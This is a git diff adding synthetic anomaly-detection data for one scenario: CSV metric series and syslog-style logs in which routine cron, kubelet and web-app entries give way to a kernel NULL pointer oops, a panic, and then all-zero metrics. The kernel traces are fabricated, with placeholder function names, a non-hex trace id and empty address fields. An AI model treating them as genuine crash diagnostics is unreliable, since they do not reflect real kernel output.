b/anom_dataset/scenario_17/anom_17_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,10.297373466041574,54.14280194059408,34.02412172613027,0.5073679060774492,0.9089552280234517 +2025-08-18T10:00:05Z,13.095850722932465,56.458154019179474,27.257720631223297,1.316266849323656,0.8605641464985846 +2025-08-18T10:00:10Z,11.075668703027963,37.51838925282293,19.025886839682464,1.0485186104416897,0.703918996940749 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kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:00:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:00:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:00:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:00:35 systemd[1]: Starting daily clean up activities... +Aug 18 10:00:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:10 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:01:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 18 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:02:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:02:20 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:02:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:55 systemd[1]: Starting daily clean up activities... +Aug 18 10:02:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:03:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:03:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:03:30 systemd[1]: Starting daily clean up activities... +Aug 18 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:03:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 18 10:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:04:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:04:35 kernel: [12345.678901] segfault at ffffffffc0a0a0a0 ip 0000000000000000 sp ffff880121e47c78 error 15 +Aug 18 10:04:45 kernel: [12348.123456] BUG: unable to handle kernel NULL pointer dereference at (null) +Aug 18 10:05:00 kernel: [12351.987654] RIP: 0010:[] [] 0x0 +Aug 18 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 18 10:05:15 systemd[1]: session-c2.scope: Killing process 1234 (web-app) with signal SIGSEGV. +Aug 18 10:05:25 kernel: [12355.543210] Kernel panic - not syncing: Fatal exception in interrupt +Aug 18 10:05:25 kernel: [12355.543210] Kernel Offset: disabled +Aug 18 10:05:25 kernel: [12355.543210] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_17/anom_17_11.csv b/anom_dataset/scenario_17/anom_17_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..47cae05b858d22ae359b8e016c174f80bc35d905 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T14:00:00Z,21.77071568516029,47.842300702420516,33.04167580825798,1.2909452472511649,1.4313476426169627 +2025-08-18T14:00:05Z,23.328907386202754,46.59297185965449,17.998879366816745,1.1217229294630295,1.027193110968896 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CRON[3660]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 18 14:01:05 server-1 CRON[2043]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 18 14:01:15 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 18 14:01:20 server-1 kubelet[2345]: INFO: Liveness probe for pod 'nginx-deployment-abcde' succeeded. +Aug 18 14:01:40 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 18 14:01:45 server-1 sshd[7341]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 18 14:02:00 server-1 CRON[4748]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 18 14:02:15 server-1 systemd[1]: Started Session 9169 of user. +Aug 18 14:02:35 server-1 web-app[1234]: GET /api/v1/health status=200 OK +Aug 18 14:02:45 server-1 sshd[9877]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 18 14:03:00 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 18 14:03:05 server-1 kubelet[2345]: INFO: Liveness probe for pod 'nginx-deployment-abcde' succeeded. +Aug 18 14:03:10 server-1 kubelet[2345]: INFO: Liveness probe for pod 'nginx-deployment-abcde' succeeded. +Aug 18 14:03:20 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 18 14:04:10 server-1 systemd[1]: Started Session 6418 of user. +Aug 18 14:04:20 server-1 kubelet[2345]: INFO: Liveness probe for pod 'nginx-deployment-abcde' succeeded. +Aug 18 14:04:35 server-1 CRON[7809]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 18 14:04:50 server-1 systemd[1]: Started Session 2148 of user. +Aug 18 14:04:55 server-1 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 18 14:05:00 kernel: [18999.8888] BUG: unable to handle kernel NULL pointer dereference at (null) +Aug 18 14:05:00 kernel: [18999.8889] IP: [] generic_make_request+0x1d/0x2d0 +Aug 18 14:05:00 kernel: [18999.8890] PGD 0 +Aug 18 14:05:00 kernel: [18999.8891] Oops: 0000 [#1] SMP +Aug 18 14:05:00 kernel: [18999.8892] Modules linked in: iscsi_tcp libiscsi_tcp libiscsi scsi_transport_iscsi dm_mirror dm_region_hash dm_log dm_mod crc32c_intel ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper cryptd psmouse serio_raw sg i2c_piix4 pcspkr i2c_core shpchp ext4 jbd2 mbcache sd_mod crc_t10dif crct10dif_common virtio_net virtio_balloon virtio_console virtio_pci virtio_ring virtio ata_generic ata_piix libata floppy dm_bufio +Aug 18 14:05:00 kernel: [18999.8893] CPU: 1 PID: 1234 Comm: kworker/1:1 Not tainted 3.10.0-514.el7.x86_64 #1 +Aug 18 14:05:00 kernel: [18999.8894] Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2007 +Aug 18 14:05:00 kernel: [18999.8895] Workqueue: events_freezable ieee80211_restart_work [mac80211] +Aug 18 14:05:00 kernel: [18999.8896] task: ffff88011ab0c8c0 ti: ffff88011ab1c000 task.ti: ffff88011ab1c000 +Aug 18 14:05:00 kernel: [18999.8897] RIP: 0010:[] [] generic_make_request+0x1d/0x2d0 +Aug 18 14:05:00 kernel: [18999.8898] RSP: 0018:ffff88011ab1dda8 EFLAGS: 00010246 +Aug 18 14:05:00 kernel: [18999.8899] RAX: 0000000000000000 RBX: ffff88011ab1de98 RCX: 0000000000000000 +Aug 18 14:05:00 kernel: [18999.8900] RDX: 0000000000000001 RSI: ffff88011ab1de98 RDI: ffff8800b7405e40 +Aug 18 14:05:00 kernel: [18999.8901] RBP: ffff88011ab1ddf8 R08: 0000000000000000 R09: ffff88011b409600 +Aug 18 14:05:00 kernel: [18999.8902] R10: ffff88011ab1de98 R11: ffff8800b7405e40 R12: ffff8800b7405e40 +Aug 18 14:05:00 kernel: [18999.8903] R13: 0000000000000000 R14: 0000000000000008 R15: 0000000000000000 +Aug 18 14:05:00 kernel: [18999.8904] FS: 0000000000000000(0000) GS:ffff88011bd00000(0000) knlGS:0000000000000000 +Aug 18 14:05:00 kernel: [18999.8905] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Aug 18 14:05:00 kernel: [18999.8906] CR2: 0000000000000000 CR3: 0000000001c0c000 CR4: 00000000000406e0 +Aug 18 14:05:00 kernel: [18999.8907] Call Trace: +Aug 18 14:05:00 kernel: [18999.8908] [] submit_bio+0x48/0x140 +Aug 18 14:05:00 kernel: [18999.8909] [] ? mempool_alloc+0x1e/0x140 +Aug 18 14:05:00 kernel: [18999.8910] [] ? scsi_mode_sense+0x44/0x450 [scsi_mod] +Aug 18 14:05:00 kernel: [18999.8911] [] ? bio_map_user_iov+0x140/0x2c0 +Aug 18 14:05:00 kernel: [18999.8912] [] ? bio_map_user+0x4d/0x80 +Aug 18 14:05:00 kernel: [18999.8913] [] ? blkdev_direct_IO+0x4c0/0x6b0 +Aug 18 14:05:00 kernel: [18999.8914] [] __blockdev_direct_IO+0x95/0xb0 +Aug 18 14:05:00 kernel: [18999.8915] [] blkdev_direct_IO+0x1e/0x20 +Aug 18 14:05:00 kernel: [18999.8916] [] generic_file_aio_read+0x626/0x6c0 +Aug 18 14:05:00 kernel: [18999.8917] [] do_sync_read+0x7e/0xc0 +Aug 18 14:05:00 kernel: [18999.8918] [] vfs_read+0x91/0x160 +Aug 18 14:05:00 kernel: [18999.8919] [] sys_read+0x48/0x90 +Aug 18 14:05:00 kernel: [18999.8920] [] system_call_fastpath+0x16/0x1b +Aug 18 14:05:00 kernel: [18999.8921] Code: 89 45 c8 eb 08 48 8b 45 c0 48 89 45 d0 eb 08 48 8b 45 d0 48 89 45 d8 4c 63 f6 48 8b 55 d8 48 8d 42 01 48 89 45 e0 48 8b 45 e0 <48> 8b 00 48 85 c0 74 27 48 8b 45 e0 48 83 78 18 00 74 1c 48 +Aug 18 14:05:00 kernel: [18999.8922] RIP [] generic_make_request+0x1d/0x2d0 +Aug 18 14:05:00 kernel: [18999.8923] RSP +Aug 18 14:05:00 kernel: [18999.8924] CR2: 0000000000000000 +Aug 18 14:05:00 kernel: [18999.8925] ---[ end trace 3a7b1d9c8f0e1a2b ]--- +Aug 18 14:05:00 kernel: [18999.8926] Kernel panic - not syncing: Fatal exception in interrupt +Aug 18 14:05:00 kernel: [18999.8927] Kernel Offset: 0x0 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffff9fffffff) +Aug 18 14:05:00 kernel: [18999.8928] Rebooting in 10 seconds.. \ No newline at end of file diff --git a/anom_dataset/scenario_17/anom_17_12.csv b/anom_dataset/scenario_17/anom_17_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..af50c51717643b757152ea8490cbd35047ea4b51 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_12.csv @@ -0,0 +1,91 @@ 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web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:00:15 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:00:40 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:15 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:40 CRON[8821]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:50 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:02:15 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:25 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:00 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:03:15 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:03:35 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:10 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:04:15 kubelet[2109]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:45 web-app[3341]: GET /api/v1/health status=200 OK +Jul 03 10:05:00 kernel: [18823.134588] BUG: unable to handle kernel NULL pointer dereference at (null) +Jul 03 10:05:00 kernel: [18823.134591] IP: [] generic_make_request+0x26/0x140 +Jul 03 10:05:00 kernel: [18823.134593] PGD 0 +Jul 03 10:05:00 kernel: [18823.134595] Oops: 0000 [#1] PREEMPT SMP +Jul 03 10:05:00 kernel: [18823.134598] Modules linked in: veth nf_conntrack_netlink ... [last unloaded: ip_tables] +Jul 03 10:05:00 kernel: [18823.134600] CPU: 2 PID: 1234 Comm: kworker/u16:1 Not tainted 4.4.0-116-generic #140-Ubuntu +Jul 03 10:05:00 kernel: [18823.134602] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop DMI type2, BIOS 6.00 09/21/15 +Jul 03 10:05:00 kernel: [18823.134605] RIP: 0010:[] [] generic_make_request+0x26/0x140 +Jul 03 10:05:00 kernel: [18823.134607] RSP: 0018:ffff88011e603e08 EFLAGS: 00010246 +Jul 03 10:05:00 kernel: [18823.134610] RAX: 0000000000000000 RBX: ffff88011e603e88 RCX: 0000000000000000 +Jul 03 10:05:00 kernel: [18823.134612] RDX: 0000000000000000 RSI: ffff88011e603e88 RDI: 0000000000000000 +Jul 03 10:05:00 kernel: [18823.134614] RBP: ffff88011e603e38 R08: 0000000000000000 R09: 0000000000000000 +Jul 03 10:05:00 kernel: [18823.134617] R10: ffff88011e603e88 R11: 0000000000000000 R12: ffff88011e603e88 +Jul 03 10:05:00 kernel: [18823.134619] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 +Jul 03 10:05:00 kernel: [18823.134621] FS: 0000000000000000(0000) GS:ffff88011fa80000(0000) knlGS:0000000000000000 +Jul 03 10:05:00 kernel: [18823.134624] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 03 10:05:00 kernel: [18823.134626] CR2: 0000000000000000 CR3: 0000000001c0a000 CR4: 00000000000406e0 +Jul 03 10:05:00 kernel: [18823.134628] Call Trace: +Jul 03 10:05:00 kernel: [18823.134630] [] submit_bio+0x47/0x140 +Jul 03 10:05:00 kernel: [18823.134632] [] ? bio_alloc_bioset+0x144/0x260 +Jul 03 10:05:00 kernel: [18823.134635] ... +Jul 03 10:05:00 kernel: [18823.134637] Code: 48 8b 17 48 8b 47 10 48 85 f6 74 08 48 8b 47 18 48 85 c0 74 08 48 8b 57 20 48 85 d2 75 1a 48 8b 4f 30 48 85 c9 74 10 48 8d 79 08 <48> 8b 41 08 48 85 c0 74 05 e8 9d 4a ff ff 48 8b 47 08 48 85 c0 +Jul 03 10:05:00 kernel: [18823.134640] RIP [] generic_make_request+0x26/0x140 +Jul 03 10:05:00 kernel: [18823.134642] RSP +Jul 03 10:05:00 kernel: [18823.134644] CR2: 0000000000000000 +Jul 03 10:05:00 kernel: [18823.134655] ---[ end trace 3a9e7b1a1b1c1d1e ]--- +Jul 03 10:05:00 kernel: [18823.134657] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) +Jul 03 10:05:00 kernel: [18823.134659] Kernel Offset: disabled +Jul 03 10:05:00 kernel: [18823.134661] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) + diff --git a/anom_dataset/scenario_17/anom_17_13.csv b/anom_dataset/scenario_17/anom_17_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..9d58fd79228936beffd142d954ab67e936a45f43 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,12.3,43.01,21.53,1.07,1.02 +2025-08-22T10:00:05Z,10.92,36.94,24.11,1.42,0.76 +2025-08-22T10:00:10Z,13.38,40.3,39.1,1.43,0.93 +2025-08-22T10:00:15Z,13.58,40.86,32.53,0.8,1.25 +2025-08-22T10:00:20Z,16.68,43.21,39.3,1.23,0.75 +2025-08-22T10:00:25Z,13.34,43.05,25.54,1.04,0.88 +2025-08-22T10:00:30Z,14.96,41.28,20.74,1.22,0.87 +2025-08-22T10:00:35Z,17.54,44.24,27.97,1.46,1.08 +2025-08-22T10:00:40Z,11.73,36.45,28.81,0.98,0.78 +2025-08-22T10:00:45Z,18.64,42.6,34.73,1.23,0.85 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0000000000000000000000000000000000000000..cadf517787987904d0c5881a366c408873c4e280 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_13.log @@ -0,0 +1,44 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:05 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:25 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:55 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:03:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:04:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:04:10 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:05:00 kernel: [12345.678901] BUG: unable to handle kernel NULL pointer dereference at (null) +Aug 22 10:05:00 kernel: [12345.678905] IP: [] a_specific_driver_function+0x20/0x50 +Aug 22 10:05:00 kernel: [12345.678910] PGD 0 +Aug 22 10:05:00 kernel: [12345.678912] Oops: 0000 [#1] PREEMPT SMP +Aug 22 10:05:00 kernel: [12345.678915] Modules linked in: a_specific_driver(O) coretemp kvm_intel kvm iTCO_wdt ... +Aug 22 10:05:00 kernel: [12345.678920] CPU: 2 PID: 123 Comm: some-process Tainted: G D O 4.4.0-116-generic #140-Ubuntu +Aug 22 10:05:00 kernel: [12345.678925] RIP: 0010:[] [] a_specific_driver_function+0x20/0x50 +Aug 22 10:05:00 kernel: [12345.678930] RSP: 0018:ffff88011a6bbd98 EFLAGS: 00010246 +Aug 22 10:05:00 kernel: [12345.678935] RAX: 0000000000000000 RBX: ffff88011a6bbe18 RCX: 0000000000000000 +Aug 22 10:05:00 kernel: [12345.678940] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88011a6bc000 +Aug 22 10:05:00 kernel: [12345.678945] RBP: ffff88011a6bbda8 R08: 0000000000000000 R09: 0000000000000000 +Aug 22 10:05:00 kernel: [12345.678950] R10: 0000000000000000 R11: 0000000000000000 R12: ffff88011a6bc000 +Aug 22 10:05:00 kernel: [12345.678955] R13: ffff88011a6bc000 R14: 0000000000000000 R15: 0000000000000000 +Aug 22 10:05:00 kernel: [12345.678960] FS: 00007f9b8c0a0700(0000) GS:ffff88011bd00000(0000) knlGS:0000000000000000 +Aug 22 10:05:00 kernel: [12345.678965] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Aug 22 10:05:00 kernel: [12345.678970] CR2: 0000000000000000 CR3: 000000011a4e6000 CR4: 00000000000406e0 +Aug 22 10:05:00 kernel: [12345.678975] Call Trace: +Aug 22 10:05:00 kernel: [12345.678980] [] another_function+0x130/0x1c0 +Aug 22 10:05:00 kernel: [12345.678985] [] yet_another_function+0x96/0xa0 +Aug 22 10:05:00 kernel: [12345.678990] [] entry_point+0x70/0x100 +Aug 22 10:05:00 kernel: [12345.679000] Code: 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 18 48 89 7d e8 4c 89 75 f0 4c 89 6d f8 48 8b 05 91 2c 9c 00 <48> 8b 40 18 48 85 c0 74 2e 48 8b 10 48 8b 7a 08 48 85 d2 74 +Aug 22 10:05:00 kernel: [12345.679050] ---[ end trace 1a2b3c4d5e6f7g8h ]--- +Aug 22 10:05:01 kernel: [12346.680000] Kernel panic - not syncing: Fatal exception in interrupt +Aug 22 10:05:02 kernel: [12347.681000] Kernel Offset: disabled +Aug 22 10:05:03 kernel: [12348.682000] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_17/anom_17_14.csv b/anom_dataset/scenario_17/anom_17_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..78187db68bfd9876717951f49e2693841e687ea3 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,15.303148757073153,38.186030935041586,21.265717950589305,0.8293749623602428,0.526936457246073 +2025-08-15T14:30:05Z,26.9122451739033,42.44307005112616,20.61228735192867,0.5433382476720662,1.0445766879908769 +2025-08-15T14:30:10Z,26.646544078004933,39.97635455982958,25.453079014787374,1.2199488674864243,1.3195111170316443 +2025-08-15T14:30:15Z,20.382746908309528,38.599861278562045,25.08622841243382,1.009602302277515,1.3986924641579082 +2025-08-15T14:30:20Z,19.76947688239812,35.26047916277849,28.382456602609338,1.1983099742460577,0.8673123243961124 +2025-08-15T14:30:25Z,27.002601958841524,47.61950298817765,16.696681787924824,1.2270113656140063,0.8287492312854069 +2025-08-15T14:30:30Z,28.863145219187185,45.34518497221839,15.804325152551506,1.4929910301974765,0.6301934043230695 +2025-08-15T14:30:35Z,19.988468970200643,44.82952414843202,22.68737877904976,1.2865311727043731,1.0652592051735903 +2025-08-15T14:30:40Z,25.824072054821013,43.59616195704672,12.029036697414929,0.9005056579185438,0.8674940224333847 +2025-08-15T14:30:45Z,25.637586950952365,36.378560269424604,27.139335814844443,0.5176490564977212,0.6559604600561388 +2025-08-15T14:30:50Z,38.6454986711493,39.8349738263819,24.632095915540525,1.3461256892170463,1.246511518765854 +2025-08-15T14:30:55Z,18.547447110177576,38.535500793403685,8.322412730904684,0.7743341132843481,0.5790889037011469 +2025-08-15T14:31:00Z,20.36784114692243,35.23463346271828,32.248260652034475,0.7899040871484234,0.8245780797562937 +2025-08-15T14:31:05Z,21.589279794968768,42.29075297786113,21.887061454835607,1.2465878287490328,1.1372749252138736 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+2025-08-15T14:31:50Z,25.71474570585271,42.90641829448901,22.08033197561776,1.0452243218622048,0.8888344706435855 +2025-08-15T14:31:55Z,23.817280900675154,40.472451200689186,29.88381374515356,0.8491969282353372,1.0761397755857582 +2025-08-15T14:32:00Z,33.540628165330915,44.61918892880629,35.33623397243183,1.28581866378382,1.0726358500904731 +2025-08-15T14:32:05Z,28.43963313614038,40.97845068295654,19.749352547095558,1.4602778283834965,0.5666665200175711 +2025-08-15T14:32:10Z,24.779851916242023,41.1516798776033,21.82787180068527,1.134855374012501,1.2773928524989895 +2025-08-15T14:32:15Z,31.944344120419537,40.92802129507956,18.635692554978522,1.4419615135237382,0.7707991971380311 +2025-08-15T14:32:20Z,22.81598010841295,42.89762538508888,20.618820844108175,1.4163365323188082,0.5245363934890647 +2025-08-15T14:32:25Z,28.868906021613633,46.77444623824156,10.857637223810809,0.749512432358786,1.4553178339686377 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+2025-08-15T14:36:00Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:05Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:10Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:15Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:25Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:30Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:35Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:40Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:45Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:50Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:36:55Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:00Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:05Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:10Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:15Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:20Z,0.0,0.0,0.0,0.0,0.0 +2025-08-15T14:37:25Z,0.0,0.0,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_17/anom_17_14.log b/anom_dataset/scenario_17/anom_17_14.log new file mode 100644 index 0000000000000000000000000000000000000000..d7f8c96eaff9ce5b03a0023324431344a325f834 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_14.log @@ -0,0 +1,31 @@ +Aug 15 14:30:00 systemd[1]: Starting daily user sessions cleanup... +Aug 15 14:30:00 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:30:00 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:30:40 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:31:15 systemd[1]: Starting daily user sessions cleanup... +Aug 15 14:31:20 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:32:00 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:32:05 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:32:30 systemd[1]: Starting daily user sessions cleanup... +Aug 15 14:32:40 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:33:20 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:33:45 systemd[1]: Starting daily user sessions cleanup... +Aug 15 14:34:00 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:34:10 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 14:34:40 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:35:00 systemd[1]: Starting daily user sessions cleanup... +Aug 15 14:35:20 web-app[1357]: GET /api/v1/health status=200 OK +Aug 15 14:35:50 kernel: [18842.558219] BUG: unable to handle kernel NULL pointer dereference at (nil) +Aug 15 14:35:50 kernel: [18842.558288] IP: [] generic_make_request+0x2b/0x50 +Aug 15 14:35:50 kernel: [18842.558356] PGD 19a9067 PUD 19aa067 PMD 0 +Aug 15 14:35:50 kernel: [18842.558414] Oops: 0000 [#1] SMP +Aug 15 14:35:50 kernel: [18842.558461] Modules linked in: ...[many modules]... +Aug 15 14:35:50 kernel: [18842.558839] CPU: 1 PID: 1234 Comm: kworker/u4:1 Not tainted 4.4.0-131-generic #157-Ubuntu +Aug 15 14:35:50 kernel: [18842.558914] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 +Aug 15 14:35:50 kernel: [18842.559005] task: ffff880036e4b880 ti: ffff880036e58000 task.ti: ffff880036e58000 +Aug 15 14:35:50 kernel: [18842.559092] RIP: 0010:[] [] generic_make_request+0x2b/0x50 +Aug 15 14:35:50 kernel: [18842.559190] RSP: 0018:ffff880036e5bb48 EFLAGS: 00010246 +Aug 15 14:35:50 kernel: [18842.559254] RAX: 0000000000000000 RBX: ffff880036e5bc68 RCX: 0000000000000000 +Aug 15 14:35:50 kernel: [18842.559339] ... +Aug 15 14:35:50 kernel: [18842.560123] Kernel panic - not syncing: Fatal exception in interrupt +Aug 15 14:35:50 kernel: [18842.560205] Kernel Offset: disabled diff --git a/anom_dataset/scenario_17/anom_17_15.csv b/anom_dataset/scenario_17/anom_17_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..f729b49057ed420c86bb21f01ead0e3ca1778a11 --- /dev/null +++ b/anom_dataset/scenario_17/anom_17_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-18T14:00:00Z,26.49764224913118,53.8423975177124,28.672106476215852,1.5698402232269169,0.5295896561066463 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+2025-07-18T14:06:40Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:06:45Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:06:50Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:06:55Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:07:00Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:07:05Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:07:10Z,0.0,0.0,0.0,0.0,0.0 +2025-07-18T14:07:15Z,0.0,0.0,0.0,0.0,0.0 